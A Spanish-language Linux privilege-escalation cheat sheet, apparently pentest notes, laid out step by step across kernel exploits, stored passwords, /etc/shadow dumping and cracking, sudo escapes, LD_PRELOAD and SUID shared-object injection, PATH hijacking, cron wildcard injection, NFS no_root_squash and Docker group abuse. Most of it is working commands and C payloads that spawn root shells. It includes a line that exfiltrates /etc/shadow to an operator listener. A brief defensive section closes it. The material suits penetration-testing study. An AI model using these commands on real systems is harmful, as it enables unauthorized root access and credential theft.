Escalation Paths en Linux
Rutas de escalación de privilegios: kernel exploits, contraseñas almacenadas, permisos de archivos, sudo, SUID, capabilities, cron, NFS y Docker.
Escalation Paths en Linux
Operational Scope & Technical Objective
Cada vector de escalada parte de una primitiva concreta: un kernel vulnerable (CVE de escalada local), credenciales residuales (historial, configs, claves), permisos de archivos débiles (/etc/passwd//etc/shadow legibles), políticas sudo demasiado permisivas (shell escaping, LD_PRELOAD, bypass de user ID), binarios SUID mal diseñados (shared object injection, symlinks, variables de entorno), capabilities, cronjobs con PATH relativo o wildcards, exportaciones NFS con no_root_squash y membresía del grupo docker/lxd. El orden de explotación recomendado va de lo más determinista (config) a lo más frágil (kernel).
Kernel Exploits
uname -a
# Google o searchsploit con la versión exacta; descargar el exploit
./linux-exploit-suggester.sh # candidatos de CVE para el kernel actual
# Dirty COW
gcc -pthread c0w.c -o cow
./cow # escalada
passwd # eleva el usuario a root
Stored Passwords
history
ls -la
cat .bash_history # buscar contraseñas en el historial
su root # usar la contraseña encontrada
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
# buscar 'PASSWORD' en archivos del directorio actual
# complementar con linpeas.sh para hunting global de credenciales
File Permissions
ls -la /etc/passwd
ls -la /etc/shadow # si es legible, se puede volcar el hash
cat /etc/passwd
cat /etc/shadow
# copiar ambos a la máquina del atacante
unshadow passwd shadow # combinar líneas user:hash
# identificar el tipo de hash (hashcat wiki) y crackear con hashcat o john
su root # switch con la contraseña crackeada
Hunting de claves SSH
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null # claves privadas
ls -la id_rsa
chmod 600 id_rsa
ssh root@10.10.10.12 -i id_rsa # probar contra otros hosts
# revisar también ~/.ssh de otros usuarios
Sudo
Shell escaping
sudo -l # vim ejecutable con sudo → GTFObins
sudo vim -c ':!/bin/sh' # shell root vía escape de vim
Funcionalidad intencional
sudo -l # apache2 ejecutable como root
sudo apache2 -f /etc/shadow # lectura de archivos vía -f (config)
sudo wget --post-file=/etc/shadow 10.10.14.12:8081
# exfiltrar /etc/shadow al listener del operador (puerto 8081)
LD_PRELOAD
sudo -l
# si la política conserva LD_PRELOAD (env var), se pueden cargar
# bibliotecas propias antes que las del binario autorizado
vim shell.c # código de la biblioteca
gcc -fPIC -shared shell.c -o shell.so -nostartfiles # -fPIC: código posición-independiente
sudo LD_PRELOAD=/home/user/shell.so less # ruta absoluta del .so; less ejecutable con sudo
# → shell root
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
CVE-2019-14287 — bypass de !root en sudoers
sudo -l # política que excluye a root (ALL, !root)
sudo -u#-1 /bin/bash # UID -1 se resuelve a 0 → shell root
CVE-2019-18634 — pwfeedback
cat /etc/sudoers
# vulnerable si 'pwfeedback' está activo (asteriscos al escribir la clave)
# y la versión de sudo es < 1.8.26
# compilar y ejecutar el exploit público → root
SUID
find / -perm -u=s -type f 2>/dev/null # binarios con SUID
# exploit del binario según GTFObins → root
Shared object injection
ls -la /usr/local/bin/suid-so # binario SUID
/usr/local/bin/suid-so
strace /usr/local/bin/suid-so 2>&1
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
# el trace menciona /home/user/.config/libcalc.so
ls -la /home/user/.config/libcalc.so # no existe
ls -la /home/user # .config tampoco existe
# inyectar un .so malicioso en la ruta que el binario intenta cargar
vim libcalc.c
mkdir .config
gcc -shared -fPIC /home/user/libcalc.c -o /home/user/.config/libcalc.so
/usr/local/bin/suid-so # al ejecutarlo carga nuestro .so → root
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Binary symlinks — CVE-2016-1247 (nginx)
dpkg -l | grep nginx # vulnerable si nginx < 1.6.2
find / -type f -perm -04000 -ls 2>/dev/null # SUID sobre sudo
ls -la /var/log/nginx # permisos rwx sobre el directorio de logs
./nginxed-root.sh /var/log/nginx/error.log # exploit CVE-2016-1247
invoke-rc.d nginx rotate >/dev/null 2>&1 # dispara el logrotate → root shell
Variables de entorno — binario que llama a un comando por nombre
env # revisar variables
echo $PATH
find / -type f -perm -04000 -ls 2>/dev/null # SUID
ls -la /usr/local/bin/suid-env
/usr/local/bin/suid-env
strings /usr/local/bin/suid-env
# el binario ejecuta 'service apache2 start' (ruta relativa)
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH # /tmp se resuelve antes que los directorios del sistema
/usr/local/bin/suid-env # ejecuta /tmp/service → root
Variables de entorno — binario con ruta absoluta
ls -la /usr/local/bin/suid-env2
strings /usr/local/bin/suid-env2
# referencia '/usr/sbin/service apache2 start' (ruta absoluta)
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
/usr/local/bin/suid-env2 # usa la función exportada → root
Capabilities
getcap -r / 2>/dev/null
# /usr/bin/python2.6 = cap_setuid+ep
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' # → root
Scheduled Tasks
Cron — PATH relativo
cat /etc/crontab
# revisar la variable PATH del crontab y los archivos que ejecuta
ls -la /home/user # overwrite.sh no existe → podemos crearlo
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
# esperar a que el cronjob corra (≈1 min)
/tmp/bash -p # → root
Cron — wildcards (tar --checkpoint)
cat /etc/crontab # script cada minuto
cat /usr/local/bin/compress.sh
# ejecuta tar con wildcard (*) sobre el home del usuario
ls -la /usr/local/bin/compress.sh # no es modificable
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\runme.sh
# wildcard injection: los nombres se interpretan como opciones de tar
# esperar el minuto; /tmp/bash -p → root
Cron — sobrescritura de archivo
cat /etc/crontab # referencia overwrite.sh
locate overwrite.sh
ls -la /usr/local/bin/overwrite.sh # con permisos de escritura
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
# esperar el minuto
ls -la /tmp
/tmp/bash -p # → root
NFS Root Squashing
cat /etc/exports
# la opción 'no_root_squash' permite montar y ejecutar con UID 0 sin mapeo
# En la máquina del atacante
showmount -e 10.10.13.14 # lista de exportaciones → /tmp
mkdir /tmp/mountme
mount -o rw,vers=2 10.10.13.14:/tmp /tmp/mountme
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c
gcc /tmp/mountme/x.c -o /tmp/mountme/x
chmod +s /tmp/mountme/x # SUID como root (no squashed)
# En la víctima
cd /tmp
./x # → root
Docker
id # ¿pertenece al grupo docker?
docker images
docker run -v /:/mnt --rm -it bash chroot /mnt sh # montar / y chroot → root shell
Real-World Offensive/Defensive Scenarios
- Secuencia de prioridad (ofensivo): 1) credenciales residuales (history/configs/claves), 2)
sudo -ly SUID/SGID, 3) cron y capabilities, 4) NFS/Docker/LXD, 5) kernel. Los exploits de kernel son el último recurso por su riesgo de crash. - Sustitución de shell (defensivo):
stracesobre binarios SUID custom es el método estándar para detectar shared objects cargados desde rutas modificables (open|access|no such file). - Defensa: deshabilitar
no_root_squashen/etc/exports, fijarsecure_pathen sudoers, eliminar capabilities y SUID innecesarios, y no otorgar el grupodocker/lxda usuarios no administradores.